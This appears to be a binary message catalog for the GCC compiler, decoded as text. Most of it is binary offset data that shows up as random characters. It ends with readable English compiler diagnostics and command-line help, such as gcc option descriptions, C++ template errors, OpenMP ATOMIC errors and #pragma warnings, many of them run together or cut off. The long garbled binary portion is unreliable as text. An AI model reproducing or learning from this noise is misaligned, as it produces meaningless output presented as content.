'%2)H?r!3>PG.$.FHb#E*"@*cI-<C']"K=B2=uKEJE,q5C;y8^MM@&&T*(,5EJQ:07;@G|@IJODB("K]i<V.[+D 4LQ"Ci+o7R5&=\B W&V*}$1-6-<d-3"&&C(jL:,'H/p:-	&2-E:4o8"16aS-<; h\5VDR	>	?	S	Qj	_		9;	0u		)			@%	&f	(	)				p1	/		F	49	?n	(	T	T,	Z	R	F/	Yv	Q	["	0~	$	,	6		08		ki		%		0		!,
	-N
	-|
	4
	
	'
	&	#E	8i	9	$		2	F	Bc	:	8	7
	=R
	J
	T
	0	:D	E	/	5	>+	(j	'	:	8	K/	N{	P	A	]	/|	/	#	2	:3	In	0	=	,'	=T	L	C	/#	&S	Tz	9	
		G	6_	P	<	>$	%c	O		6	;"	^	3{	?	*	+	;F	<	8	G	I@	k	K	'B	&j	B	9	9	!H	j	#	g	(	<:	<w	(	+	:		AD	J	F		!3	U	 u		*		)P 	(z 	 	\ 	+!	>D!	*!	!	!	7!	d"	2u"	A"	O"	#:#	L^#	#	#	##	&$	/$	.C$	Dr$	:$	;$	".%	NQ%	0%	(%	?%	?:&	?z&	e&	D '	e'	'	'	('	.'	(
(	13(	7e(	9(	'(	@(	G@)	.)	>)	G)	E>*	3*	>*	*	%+	1+	\M+	1+	>+	,	2',	(Z,	5,	#,	.,	6-	C-	.c-	?-	-	+-	C.	6].	j.	P.	GP/	y/	.0	.A0	p0	"0	<0	(0	61	K1	2c1	@1	V1	N.2	/}2	N2	J2	8G3	&3	3	83	94	+:4	9f4	:4	4	{5	*!6	L6	&6	B6	Z=7	S7	47	D!8	Bf8	'8	H8	<9	6W9	>9	@9	::	SI:	*:	1:	:	";	B;;	'~;	I;	P;	XA<	X<	a<	jU=	=	=	=	>	*>	E>	:`>	<>	H>	4!?	0V?	D?	#?	5?	&@	'D@	.l@	:@	b@	9A	3QA	JA	 A	5A	J'B	6rB	"B	7B	=C	,BC	,oC	#C	UC	:D	9QD	>D	3D	]D	^\E	ME	]	F	HgF	cF	+G	&@G	gG	0~G	#G	3G	)H	,1H	(^H	,H	,H	&H	#I	!,I	"NI	'qI	=I	,I	*J	*/J	%ZJ	.J	&J	)J	$K	&%K	+LK	-xK	(K	K	0K	 L	*@L	IkL	EL	2L	6.M	-eM	+M	M	M	M		N	6N	5SN	7N	[N	QO	UoO	=O	uP	?yP	AP	qP	`mQ	Q	KPR	@R	xR	lVS	^S	c"T	.T	)T	.T	;U	*JU	:uU	,U	U	MeV	2V	]V	;DW	AW	?W	IX	.LX	A{X	DX	^Y	WaY	DY	[Y	CZZ	6Z	LZ	9"[	_\[	V[	[\	ao\	o\	SA]	c]	K]	UE^	c^	=^	<=_	Jz_	)_	<_	],`	R`	B`	= a	{^a	Wa	o2b	Lb	Ib	o9c	Lc	Jc	OAd	Yd	Ed	:1e	le	f	Hf	gg	kg	g	g	9g	5g	<.h	Gkh	Th	]i	vfi	i	8lj	?j	xj	C^k	Dk	Fk	.l	l	Yhm	;m	"m	!n	$4n	AYn	pn	o	co	Yo	@o	Fp	>ap	.p	!p	$p	*q	>Aq	)q	 q	0q	^q	D[r	Gr	$r	#
s	71s	8is	8s	's	5t	79t	:qt	?t	9t	(&u	*Ou	4zu	"u	Zu	-v	%v	Iv	<Aw	K~w	$w	Mw	G=x	.x	Ux	
y	U&y	?|y	Ey	.z	'1z	4Yz	z	z	4z	-z	5&{	/\{	2{	){	.{	!|	 :|	[|	Ll|	-|	1|	 }	(:}	c}	0z}	3}	0}	6~	4G~	,|~	<~	"~			('	P	a	#}		%	-	-	*5	-`	,	$	.	,	R<	R	8		(;	(d	I	Fׂ	H	%g				܃			#	.A	-p		-	1		+	=	T	#i	.		م	"		Q1	2		Sņ		+9	Ce	#	3͇		 	<	1W	I	5ӈ	F		%P	v		8	5	.	2M	&	-	Պ	 		B,	o		;		#	7	7S	#	D	#	5	-N	#|		D	;	%=	6c	U	,	=	J[	4	ۏ	(	'$	$L	+q	<	Aڐ	9	6V	U		F	<I	#		'	$	2
	%@	f	0|		˓	-	(	18	0j	!	8		-	:@	C{	(	9	!"	D	:\	,	,Ė		6	1G	"y	<	}ٗ	yW	}ј	}O	8͙	1	,8	e	,	(	Jۚ	+&	:R	"	:	(		B1	t	)	D			8	CP	C	%؝	;	%:	`		4	?Ҟ		-	(G	vp	C	7+	;c	E		G	zM	cȡ	R,	U	Dբ	O	=j	>	0		4	T	^o	TΤ	#	Z	V	\X	X	W	9f		A)	qk	Xݨ	L6	7	7	I	^=		s3		A'	Wi		,A	Nn	%	/	&	9:	Nt	(î	7	P$	fu	bܯ	@?	Q	:Ұ	0
	C>	5	*	=	>!	J`	J	W	DN	2	2Ƴ	\	*V	J	I̴	9	.P	,	)	:ֵ	<	KN	8	Ӷ	7	5'	(]	\	2	1	CH	<	3ɸ	?	:=	Bx	-		Ni	;	?	54	Kj	#	3ڻ	6	aE	-	*ռ	=	5>	8t	/	"ݽ	@	SA	I	S߾	?3	Gs	#	b߿	FB	5	)	D	l.	R	U	.D	]s	Z	:,	Ag	7	B	J$	6o	6	-	N	3Z	P	X	D8	F}	n	/3	Bc	+	8	(	b4	Q	B	=,	Ej	/	<	3	FQ	8	@	X	:k	8	G	H'	)p	O	>	c)	S	/		^	\y	a	*8	4c	:	i	%=	+c	*	k	1&	DX	'	'			,+	,X	&	5	4	7	"O	5r	%	.			2	B	3R	?	7	?	:>	y	H		8	9	=L	A		5	(!	.J	}y	Q	_I	I	]	$Q	v	3	'	&	=	.P	.	6	0	.	.E	!t	A	A	4	&O	Fv	>	=	>:	<y	%	A	o	-	S	1	8B	S{	<	0	2=	,p	'		4	%	*:	1e	]		:	/@	4p		^	,	=L	E	2	'	 +	1L	A~	<	:	L8	C	K	B	HX	?	5	5	,M	!z	7	A	>	<U	<	G	(	<@	.}	<			 	<	#W	 {	&					-8	<f	,		0	%	B9	|	&	 	7	2	'>	>f	4	:	W	>m					)	"A	"d				C	<	LP	,				0	3!	%U	%{	9	;	;	KS	4	/	.	3	7L	?	&	q	W]	h	[	iz	c	FH	E		A	5	6J	+	=	>	\*	-	+	.	;	"L	?o	6		"	-	0G	x				+	'	7	-P	;~	1	;	;(	=d	;	;	;	;V	;	/	8	7	,R	(	(	 		>	C	 \	
}	&	.	*	%
22
.e
'
*
0
#
*<
*g



1
!
6<
#s
H
0
'
-9
.g
4
:
2
$9
#^

%
5
#
!
4=
r
'{
%
"
'
5
.J
1y
7
6
6
0Q
3
2
1
/
0K
1|
5
4
:	
9T	
9	
5	
3	
32

3f

7

.

1
73
6k
6
0
1

1<
0n
/
2
8
7;
7s
1
3
2
1D
0v
3
9
8
8N
4
3
6
2'
2Z
5
;
:
::
6u
5
4
D
D\
4
.
<
B
a
W
>
2
6K
6


,
:!
,\
6
1
P
7C
A{
>
<
9
LW

'

#
$$
6I
F
t
><
U{
Q
Q#
0u
"
 
(
$
'8
j`
9
J
?P
,
:
R
PK
)
,
Y
5M
+
3
B
"&
/I
'y
&
'
/
3  
3T 
6 
' 
+ 
<!
P!
\!
h!
{!
!
9!
?!
@"
I]"
L"
a"
3V#
9#
2#
<#
<4$
Eq$
0$
^$
-G%
4u%
8%
-%
`&
4r&
.&
0&
/'
97'
Aq'
6'
L'
F7(
,~(
4(
.(
h)
Jx)
E)
!	*
B+*
Kn*
i*
6$+
)[+
O+
B+
B,
L[,
!,
",
!,
%-
/5-
=e-
S-
8-
80.
<i.
?.
+.
S/
;f/
6/
*/
J0
(O0
Qx0
30
|0
q{1
81
>&2
pe2
B2
S3
\m3
z3
IE4
I4
74
B5
1T5
J5
:5
M6
:Z6
<6
:6
D
7
*R7
0}7
>7
C7
018
b8
Q8
1>9
.p9
/9
9
B9
:/:
Hj:
3:
G:
7/;
3g;
 ;
%;
6;
B<
9\<
*<
-<
<

=
%!=
#G=
1k=
S=
=
L>
([>
)>
/>
6>
+?
A?
U?
 o?
?
#?
#?
A?
I/@
4y@
 @
&@
O@
FA
1]A
MA
KA
9)B
@cB
=B
5B
4C
BMC
AC
GC
DD
+_D
D
)D
'D
D
2E
;BE
?~E
%E
7E
=F
*ZF
7F
/F
$F
8G
2KG
/~G
7G
2G
8H
/RH
:H
BH
:I
9;I
1uI
NI
LI
JCJ
:J
1J
AJ
+=K
iK
/K
,K
:K
8L
2XL
NL
0L
2M
H>M
BM
'M
*M
@N
'^N
N
FN
.N
*O
4CO
NxO
ZO
W"P
8zP
?P
/P
:#Q
,^Q
;Q
0Q
FQ
4?R
1tR
-R
8R
#
S
21S
=dS
FS
*S
BT
FWT
LT
;T
&'U
6NU
1U
9U
9U
:+V
fV
vV
<V
)V
EV
:=W
0xW
.W
dW
S=X
>X
X
/X
<Y
2OY
:Y
$Y
Y
=Y
!2Z
TZ
1rZ
VZ
Z
9[
AJ[
/[
[
8[
8\
/D\
Gt\
A\
D\
@C]
]
#]
j]
&.^
%U^
7{^
7^
5^
F!_
*h_
+_
&_
5_
3`
QP`
V`
`
9a
2Ra
7a
2a
1a
2"b
&Ub
8|b
5b
2b
8c
[Wc
Cc
5c
+-d
2Yd
-d
;d
(d
Oe
2oe
$e
e
Ye
9:f
.tf
Nf
Ef
)8g
9bg
Pg
Gg
#5h
#Yh
.}h
4h
9h
8i
0Ti
Mi
Ki
/j
*Oj
?zj
$j
j
j
+k
*;k
fk
zk
k

k
0k
1k
l
 9l
Zl
'nl
)l
*l
*l
 m
<7m
2tm
m
m
m
m
*n
96n
)pn
;n
An
$o
=o
7Xo
o
3o
o
Do
Bp
ETp
@p
&p
#q
 &q
Gq
eq
Tq
rq
nJr
Dr
;r
=:s
5xs
Is
5s
5.t
(dt
't
6t
7t
!$u
7Fu
%~u
+u
,u
!u
"v
+Bv
,nv
$v
%v
&v

w
&+w
Rw
J[w
-w
-w
3x
/6x
0fx
/x
/x
#x
%y
5Ay
5wy
 y
y
y
Ey
Bz
\z
 vz
z
:z
z
z
={
!J{
l{
A{{
A{
{
|
#-|
"Q|
/t|
|
|
|
|
}
2"}
HU}
G}
*}
~
$~
PB~
!~
!~
>~
B
`Y
1
3
/ 
NP
7
F׀
1
vP
Xǁ
+ 
/L
(|
:
H
)
==
/{
$
3Ѓ
>
'C
$k
)
2
9
S'
U{
6х
)
:2
m
4
6†
6
0
	I
(S
;|
:
#
 
#8
\
&t
7
ӈ



	
$
A
G_
K


 
#@
,d
9
*ˊ

9
7O
"
*
7Ջ

1-
:_



@ڌ
@
L\
8
*
?
>M
C
CЎ
6
/K
${
#
/ď
:
-/
6]
B
;א
(
(<
5e
%
$
,
,
,@
0m

#
=ݒ
C
C_
-
Cѓ
L
b

#
1
;
_&
%
0
Tݕ
M2
V
tז
gL
x
X-
U
Cܘ
b 
X
Xܙ
:5
0p
7
!ٚ
*
1&
&X
>
,
(
,
+A
.m
:
/ל
A
0I
Cz
#
&
2	
;<
x

8

@
1L
P~
 ϟ
*
3
O

b
>m
'
0Ԡ
)
/
@J

?
C
C-
8q
(
5Ӣ
(	
(2
R[
:

A
;H
P
դ
$
2
=L
B
6ͥ
?
CD
C
Ț
Z!
,|
0
4ڧ
I
7Y
@
<Ҩ
&
O6

 
(



'
D
 Q
>r
B
6
*+
1V

1
.ث
-
&5
3\
3
Ĭ
-լ
/
43
/h
.
7ǭ
1
#1
9U
+
+
?
A'
Ai
Q
-
G+
Ks
#
6
;
<V
*

2ޱ
1
-C
Aq
D
A
;:
=v
8
k
BY
M
9
<$
Ma
8
9
"
*?
4j
/
,϶
6
B3
Cv
D
F
3F
Jz
(Ÿ
%

:'
*b
I
-׹
2
.8
#g
"
>
/
2
+P
?|

'ڻ
@
KC
k
*
/&
,V


(
&
@	
CJ
%
I
,
'+
S
j
~


ÿ
ؿ



,
A
V
k








0
E
]
u







#
8
R
g
|







.-
"\


&

)
7(
>`
'
$
K
8
9K
6
3
<
0-
1^
;
0
&
5$
6Z
-

)
,
G0
)x

-
=
 ,
4M
9
:
#
F
%b
$
$
,
/
B/
2r
3
3
 
$.
4S
*
4
%

l.
(
i
P.


$

&
)
 5
+V
+
+
+
+
+2
+^
+
+
+
+
$:
%_
*

'
/
!&
%H
!n

!

%
!
!4
!V
!x
7
D
X
)p
<
$
9
$6
0[

+

:
-
J
"f
$
6
D
*
!H
j

$
"

6
<
PQ

2
+
)
&F
Pm
'
%
F
-S


+
*
,
*;
"f
+
 
&
6
<4
q
G
4
"
-/
P]
X
6
c>
}
. 
2O
F
/
>
=8
8v
>
;
2*
:]
:
8
>
VK
Y
2
'/
'W
 
(
"
'
<
-Q
8
4
%
'
%;
&a
l
,
D"
"g

P


,
B
 W
1x
1
(
(
(.
+W
)
*
*
*
&.
0U
'
/
&
&
&,
+S
,
2
&
+
'2
&Z
+
A

+
*"
*M
0x

6

,
CB
@
+
s
!g

"
*
#
&
3
4S

$
#
%

=
[
{
B
3
?
WR
;
>
0%
0V
1
6
7
E(
+n
L
.
+
8B
4{
&


,
 9
1Z
$
4
(
"
.2
!a
,
!
-
-
8.
@g
@
/
H
-b
/
+
/

-:
5h
?
(
7
5?
3u
@
4
J
Dj
?
3
K#
Io
D
-
8,
9e
0
'
/
/(
3X
;
(
 
G
:Z
:

.
<$Q>v389"8\9001I5a=-"%Bh.7*?Xv3&("O
r2!$(>Gg,* ()E8oDD52Rh(+$	+5	#a	*		0	'	1'
Y
-q
%
.
&
"C>)I#!+M7l94>
KR
/

?
,%Rr+!(M@v4+-,F5s4VK3k+"(,G-t/%)Ol@@I4MS29	7C){+(%" .Cr=#()3@6t>$8)H3r(363:8n'<;6HC0,a!E5A<A<~9^-TI'<,1S^?S_Y< # ,; h < C B!IF!!4!'!!;"/M"B}"4" "I#!`###A#4#<$CZ$[$k$kf%D%R&=j&P&O&JI'?'4'	(-(&M(,t(B(S(Y8)')+)7)4*6S*7***R*7@+x++0+b+O;,',(,C,7 -:X--(-0-..&;.;b... ..'//4//d/6/@/?0L0)l0(020-0+ 13L1(1"1)101'2!D2?f2522.2"+3;N39333>3>74Kv4K485\G515=5K6&`666L6X7Kd7V7T8V\8W8T9W`9P9K	:LU:>:>:U ;Tv;d;L0<S}<8<D
=O=Fd==A=3=31>?e>E>Y><E?+?1?:?2@8N@+@3@6@^A5}A+AMA>-B(lB0B8B"B'"C'JCrC~CC)C#C'D ,DMD;hDD/DD'E);E4eEE-E&E'
F15F0gF)F(F#F*G:GBIG7G-G,G,H0LH}HAHVHS*I8~II'I^IjWJ;JDJFCK6KHK:
L=EL=L)L%L9M4KMM"MM%MOM#KN(oN*N"NN)OQ+O}OOOO,O P4P!RP>tPHPP0QHMQ(QUQ+R7AR+yR>R6R;S;WS0SSS,S+TET"_T>TNTBU(SUH|UGUZ
V)hV,V"V7V=WBXW*W1W:W03X-dX"X8X8XH'Y#pY$Y+Y%YZ6+Z'bZ7Z6Z+Z>%[;d[,["[1["\#4\+X\$\'\ \0\I#]/m]<]=],^1E^Ew^^DF_+_9__6`(H`"q`4`#``a@a9]aLaafa5Xbb)b4b"c;.c)jc"c c,cd7$d\d0ud1d?d&e?eZe2ueete.3f.bf.f"f"fMgLTgDg2g6hPh-ih+h0h-hD"i0gi1i?i>
j=Ij.j.j5j#k1?k5qkk;k1k1+l0]l?l-l lm9=m<wm4m2mn92n$lnAn)n-n2+o?^o?oAo6 p7Wp3p6pBp7=q3uq7q8qr+7r.cr&rFr?s+@s&ls*s%sstt46tkktMt4%u3Zuu#u6u8v@<v:}vBvv3w(Kw6twaw%
xM3xx)x'x<x!.y3Py$y/y?y%z)?z*iz+z*z1z!{/?{3o{*{I{|2|.O|X~||i}2~K~=~41E,wA<U#=y3(?KT@9aX_7SqɃ#Bb҄.Jf?4Ņ&.!KP(Nņ/WDf86<(s@L݈*@E4D:D=.75?45t"0͌.I-3wmʍ.8HgV+&!R!t%%8U?q$֐ 
*, W x$/@ /P)h7'ʒ(4FP=4Փ@
KNi-,+M?P[ޕH:B?Ɩ?TF=/&@@X0ژ(E4#zN;&)'P6x:(D1X0'+9.Ix&.!ߜ')$I-n%%&%&5+\:"Þ>+%QVk7Ÿ21-4_95Π9M>I&֡G9EGA0D;u4$*)J/t()ͤ$$1$V'{2å,+#O"h.1W!d2:7$,Q3o4'ب12 Kl16'1(Ox?D֪65R4)׫8":%]*׬%G]{%"߭2>M?#̮A>2'q%ݯ"IJe^ϰC.Sr.Ʊ2(5<9$8^=;ճHGZ;381:j0Cֵ3ON/,ζ8]4A@Է,4B'w08и/	A9C{#1(J>/C4C2v4*ʻ!<'T7|E;GT()Ž%O.e**KR6?Cɿ<
8J*/A"<_"xDH2,{':.7:)r.-@.:,i$
'#LKA/$
X/,S,	P6	@(2i<AU3q<532L&(*:	5?,V)7;&!'H%p<A7;M91*'@+h+5)( -I)w
-*9V&o1$t_=
	|le	VBr

;9cJ
		J;DI		^yk

o	[
1vOiBu	*ue
I:d
7cud	!
v"f+Xl|


-yR	
}	-XW
{Dm
a'!
ID
B.H 	-)
;5w<W


foY
xmT\?
!JJ	j
:
j6NY
0	~3]

dd)
v	6
xu7~?
x0H
Q>0yzV	ie1
:V	
mY
M\
H]Io^!zwtg
(
&_	A4KP
	Q

	CFg>t
F?"8?Ai
<Y
rv
]>
% 
)	k=
.	!:dl
/u&
C
9&,yy*l'G
\O`	*='c^tb+

@T8

	
CyJ0T
X
*S	{nQW%nA})	
x;"o:
<-o[&

2zN#i@
%0?		R
qLW


t
]
jOf	SJ,
Y}(uYl
hxL	T
}	
H	D\R_)4sB|K(Hi	`	bQ(<
SNhk	S;F
19e
h
]
5
.+/JS
b=m\+?QP~
Um
ZVPZn
	P` G	T>O
*kB9H`B#p?G

Y-
)
E
9KZk`"^t	q

q|?D:e1
XV=*,<y$7QG
vS>	q`pA%]s

rt
W	x@a
 au10	x`*0R_+K
d
6\Vc:+Ax=
"X
U

 	
u
 YgfPn1V=!J:A
i'6%/	
PZ	4.

}L)S8*^hS1f}
	j
`e
k6Z
d	ZEcgHc:
|PDfb]H
%g
Rm&,G%EcZ
#C*w	=D+&t[.~Z/
rz1m`U
ndS
~lp%'I&apZ	oo
4
*	=vN	
	y	V
MuqqnMz	n
:Ct@2%+%a&
LT
3NlCh"	d
#cK,ef>]nO
u

	
zl

2xn57+R
`Q";f
F
?I]s
s?3`prL&!iZ	Mh
ZFP|#	Gs
^3R

ts>mi
#-U!T\
}d!(C51k
F

pl
ygo.HV'
l
r"		dh
iw@)g
]l,
tu 
H1	Yth{
OHec
T,	).)6-G
Ha)T7^ ]i
i@]	@?	H_M
Nr	
5	<u5

wS
PmV5 ,C!3
i	&		l
Q
N
<O
0h	E-J*
{|P\=<
	`w
$0	kkm#+!/
eac:\Y.1
SyED	m


I
,\JQ

)X	7
y	
clq|7	C)XsJc	#ci			.
m&
foQ[
IdZ4M^	a u	.sUC
8		O		zi`B	q
;
:	0
}go
	8MY
\	~@
t
	xZa
i,E	>W
,X%U`


v0z&s
=,



kbPk\6`
p	f(2Zq
'&L|XI[C	ka	P*>-_2	jxOX*D	47		yL
D
:7_?
p*#@
ry8>Ue
(	5p/	na	lQ	%	W

7J1F~r&gP(/r}nSOEW
'KaTz"G	b(v]&w!P7Yr
	b^\	N6qI*3j	+i
4*	CbN5
=h.;
l	K
J	!
		
"

k<
HdA|V
6h
[
T

'
9|f3
hL?O	
[8 !s	=F_
.Cb
k:3	7W'@4W$

_mP5

ra	
X}#
Kf
Dy
%
{
o	#p
OD2
Bdde+"RZ
?V{9	
U#
W	
"w6	+
q.?l)z
	gD
P)pY,yw@"
^Qh- Q>
2roEdbYM


4n
Zxba"		';D;d#`9.5c
$

DA3
ej


17}Wf#MbL)}vef2gdSC	

	T	Q_g-hv
E2
h;	WTwKP	
{Jot63uj	
o9
7^j7Bde9
;g9c	


<Q


pB1OTI
NI	AvL'
rb
a&
yp
e<j	0gr 
@
C,U1
	Ag5L,lN	i	&uI.
*{585
_ _x33V:	syR	TZ
l+j!gX?YSAJ	^
;
8n3
*5bY
V5D'0*?K
"\


(l	
	^8Jm
1
U
igf;Y4xUe 
/|GA	TO	OA
lM3}~GE
m>	=2-9~-Zv=3(ETu
SX

|9@)&_
omAm1cI#\;k~hf6
!Xr F]jMR[\V#g2vhGI
J
1X?e3,F=
7u
)h	kl
+	n/d	/&;Ay+u	=Mk
L2
m	>J
	s/J	
$9>v1	:PB:	wH$W	L+	;
Nm	#2Sr-AQT	I	
kBN
H;p7\vME

F;'nWFT<_
	$Lz	Kr	EU (m	OK	E
y
K	M	KK	
,	K8

`B
{G0WFRw		9|(w{R2X	L	>?%[
8	~	_<

.`6	
$	3|$	3H
{]

S51ot
#8%
KJ	&"v<	N
L
/|	HM-
[^			~		

"Ohwn`

.6V~ #{	l
	j

,,P
q
.{:r0
'%N$	
`TRG
^	
(%
	Rk#
y

\=
KuF<

w	}]Q			8	J
)
	bcX[:Vp!M
z45VB	o
@p[BNA|Y$g
q	$
u	H
M

)Dw
I@
e
9h
!q`
$jQk0<<t(
aMqF|
9	L/'eQ	{
J
]-
9
*4f
7
eG/Rq
wz>,X
Y*.0Qnf_.s	}a[[G ]	wiiB
X+
V]/;Y{	#^-Sv
9o+[LF\G-		8D
	Brgz+^
N	
F	!
'	x
	
d4
0

8
Kg	q8s}8L{	G~-
3
2$I/$6	SPd9
WQ[BB
:05Boz7MUf	tEU	
(
P

[\b		t
U

?QUD+(@	_z(@2
 
,i]}
%
@S	QK_!U	
6<,kF
p
,TDW~	v2$,>0bT"
C:	jCBa
=x	
q{
gk|
o

o~j
~
_@<s)j

A%/Q	)w
vB	Un

>43f
Kn	/

	@uX
~y:0	
F7^?KF

J
M!z|>aqjxs40r
\
{w
{	N*_
C)"t&woK
Wm}=kM6]
bGvc
8s
 Fp@}
q@	75&RHxtqmc\a\	5
Ji&By#
nVR	i6
(+!GpCpE%	t
l		l"R
HNaN-
Oz]x
h0+

b?	
gsn=
z	/
<
OOjAC	z
I
fUc
;B
4
fo#
`hS4{
R
>
2
G3V)5+	
'"WOjy2mDpW4G	1u}4	
eCZ2/'(6"4P
a
E	U12 oO.HR6C[
4

8
sPE~w$X
M.	{

^
c~
N
o
6V<U6
(`p4nNI
}^UD&<9X[A|>Gar%	W*
Kn)$2b^t/F>
77?zjf3JN	KT

	
F
\}%aa

(^REiZs[	W?9QW-G	x
c	zr#		]

IHS	_
#v
h:
9s		vXGj	$L

YE	b6|}

AvIE
/{:SAcA
.r+H!"EbV
BL	!-jv`j1
2i{
X~&
8zcf^
,$
pY	gd
;.}Xq]!	_>
L@_
bq
3Lm5		4	26{;Z>	AM D<`s1y4 s
OL		pd7H%D-	<SstG~
xwe	YL=	$
qv
9	

fuN
.'Fcyx7U-='"
U%CR (te;m
b	V
p@
EZ	_P\
3dPVw$
3


["
C		Z@|8{	
OO2S~ZuT=YI	}(ez
xz

>xA*s	F
Z
	'U5Y(9	xwR
*[
Dt	W^
~?

/j0[
T^M
5r:'Eq

k
<hE/hI8n
%/6I

[8	k'
8
_
Rl[CMn;=u
N|'$-]R	g0b
e	|4~$	%+#D

%s: %d: warning: can't add declaration of '%s' into macro call

%s: error reading input file '%s': %s

%s: fatal error: aux info file corrupted at line %d

%s: warning: too few parameter lists in declaration of '%s'

Execution times (seconds)

For bug reporting instructions, please see:

For bug reporting instructions, please see:
%s.

Go ahead? (y or n) 
Linker options
==============


Options starting with -g, -f, -m, -O, -W, or --param are automatically
 passed on to the various sub-processes invoked by %s.  In order to pass
 other options on to these processes the -W<letter> options must be used.

ldd output with constructors/destructors.

write_c_file - output name is %s, prefix is %s
                           Display specific types of command line options
          %s        %qD        <anonymous>    Included at %s:%d:    inlined from %qs    inlined from %qs at %s:%d    inlined from %qs at %s:%d:%d   in pointer to member conversion   in pointer to member function conversion  %q+#D  %q+#D declared here  (Use '-v --help' to display command line options of sub-processes)
  -###                     Like -v but options quoted and commands not executed
  --bootclasspath PATH    Override built-in class path
  --classpath PATH        Set path to find .class files
  --extdirs PATH          Set extensions directory path
  --help                   Display this information
  --help                  Print this help, then exit
  --javap                 Generate output in 'javap' format
  --sysroot=<directory>    Use <directory> as the root directory for headers
                           and libraries
  --target-help            Display target specific command line options
  --version               Print version number, then exit
  -B <directory>           Add <directory> to the compiler's search paths
  -E                       Preprocess only; do not compile, assemble or link
  -IDIR                   Append directory to class path
  -S                       Compile only; do not assemble or link
  -V <version>             Run gcc version number <version>, if installed
  -Wa,<options>            Pass comma-separated <options> on to the assembler
  -Wl,<options>            Pass comma-separated <options> on to the linker
  -Wp,<options>            Pass comma-separated <options> on to the preprocessor
  -Xassembler <arg>        Pass <arg> on to the assembler
  -Xlinker <arg>           Pass <arg> on to the linker
  -Xpreprocessor <arg>     Pass <arg> on to the preprocessor
  -a, --all-blocks                Show information for every basic block
  -b <machine>             Run gcc for target <machine>, if installed
  -b, --branch-probabilities      Include branch probabilities in output
  -c                       Compile and assemble, but do not link
  -c                      Disassemble method bodies
  -c, --branch-counts             Given counts of branches taken
                                    rather than percentages
  -combine                 Pass multiple source files to compiler at once
  -dumpmachine             Display the compiler's target processor
  -dumpspecs               Display all of the built in spec strings
  -dumpversion             Display the version of the compiler
  -f, --function-summaries        Output summaries for each function
  -h, --help                      Print this help, then exit
  -l, --long-file-names           Use long output file names for included
                                    source files
  -n, --no-output                 Do not create an output file
  -o <file>                Place the output into <file>
  -o FILE                 Set output file name
  -o, --object-directory DIR|FILE Search for object files in DIR or called FILE
  -p, --preserve-paths            Preserve all pathname components
  -pass-exit-codes         Exit with highest error code from a phase
  -pipe                    Use pipes rather than intermediate files
  -print-file-name=<lib>   Display the full path to library <lib>
  -print-libgcc-file-name  Display the name of the compiler's companion library
  -print-multi-directory   Display the root directory for versions of libgcc
  -print-multi-lib         Display the mapping between command line options and
                           multiple library search directories
  -print-multi-os-directory Display the relative path to OS libraries
  -print-prog-name=<prog>  Display the full path to compiler component <prog>
  -print-search-dirs       Display the directories in the compiler's search path
  -print-sysroot-headers-suffix Display the sysroot suffix used to find headers
  -save-temps              Do not delete intermediate files
  -specs=<file>            Override built-in specs with the contents of <file>
  -std=<standard>          Assume that the input sources are for <standard>
  -time                    Time the execution of each subprocess
  -u, --unconditional-branches    Show unconditional branch counts too
  -v                       Display the programs invoked by the compiler
  -v, --verbose           Print extra information while running
  -v, --version                   Print version number, then exit
  -x <language>            Specify the language of the following input files
                           Permissible languages include: c c++ assembler none
                           'none' means revert to the default behavior of
                           guessing the language based on the file's extension
  a qualified-id is required  as it is a non-system directory that duplicates a system directory
  base %qT  because conversion sequence for the argument is better  because of local member %q+#D with same name  because of local method %q+#D with same name  but %d required  but does not override %<%T(const %T&)%>  but does not override %<operator=(const %T&)%>  by %q+D  candidate conversions include %qD and %qD  cannot use obsolete binding at %q+D because it has a destructor  conflict with %q+D  crosses initialization of %q+#D  enters OpenMP structured block  enters catch block  enters scope of non-POD %q+#D  enters try block  exits OpenMP structured block  expected a class template, got %qE  expected a class template, got %qT  expected a constant of type %qT, got %qT  expected a template of type %qD, got %qD  expected a type, got %qE  expected a type, got %qT  for conversion from %qT to %qT  from definition of %q+#D  from here  in call to %qD  in evaluation of %<%Q(%#T, %#T)%>  in instantiation of template %qT  in thrown expression  initializing argument %P of %qD  matches this %q+D under ISO standard rules  matches this %q+D under old rules  or %<operator=(const %T&)%>  overriding %q+#D  overriding %q+#F  since %q+#D declared in base class  skips initialization of %q+#D  trying to instantiate %qD  using obsolete binding at %q+D (frv) All options with the desired characteristics have already been displayed
 No options with the desired characteristics were found
 Pending stmts not issued on ENTRY edge (%d, %d)
 Pending stmts not issued on EXIT edge (%d, %d)
 Pending stmts not issued on PRED edge (%d, %d)
 Pending stmts not issued on SUCC edge (%d, %d)
 TOTAL                 : conflicting code gen style switches are used shadows template parm %q+#D!$OMP ATOMIC assignment intrinsic IAND, IOR or IEOR must have two arguments at %L!$OMP ATOMIC assignment intrinsic must be MIN, MAX, IAND, IOR or IEOR at %L!$OMP ATOMIC assignment must be var = var op expr or var = expr op var at %L!$OMP ATOMIC assignment must have an operator or intrinsic on right hand side at %L!$OMP ATOMIC assignment operator must be +, *, -, /, .AND., .OR., .EQV. or .NEQV. at %L!$OMP ATOMIC intrinsic arguments except one must not reference '%s' at %L!$OMP ATOMIC intrinsic arguments must be scalar at %L!$OMP ATOMIC statement must set a scalar variable of intrinsic type at %L!$OMP ATOMIC var = var op expr not mathematically equivalent to var = var op (expr) at %L!$OMP DO cannot be a DO WHILE or DO without loop control at %L!$OMP DO iteration variable must be of type integer at %L!$OMP DO iteration variable must not be THREADPRIVATE at %L!$OMP DO iteration variable present on clause other than PRIVATE or LASTPRIVATE at %L!$OMP at %C starts a commented line as it neither is followed by a space nor is a continuation line"%s" is not a valid option to the preprocessor"::" was expected after module nature at %C but was not found# %s %.2f %.2f
#include "..." search starts here:
#include <...> search starts here:
#pragma GCC diagnostic not allowed inside functions#pragma GCC memregs must precede any function decls#pragma GCC memregs takes a number [0..16]#pragma GCC visibility must be followed by push or pop#pragma GCC visibility push() must specify default, internal, hidden or protected#pragma GHS endXXX does not match previous startXXX#pragma GHS endXXXX found without previous startXXX#pragma extern_prefix not supported on this target#pragma implementation for %qs appears after file is included#pragma pack (pop) encountered without matching #pragma pack (push)#pragma pack has no effect with -fpack-struct - ignored#pragma pack(pop, %s) encountered without matching #pragma pack(push, %s)#pragma pack(pop[, id], <n>) is not supported on this target#pragma pack(push[, id], <n>) is not supported on this target#pragma redefine_extname ignored due to conflict with __asm__ declaration#pragma redefine_extname ignored due to conflict with previous #pragma redefine_extname#pragma redefine_extname ignored due to conflict with previous rename#pragma redefine_extname not supported on this target#pragma vtable no longer supported$ operand number used after format without operand number$ should be the last specifier in format at %C%+D causes a section type conflict%<#pragma GCC pch_preprocess%> must be first%<#pragma align%> must appear before the declaration of %D, 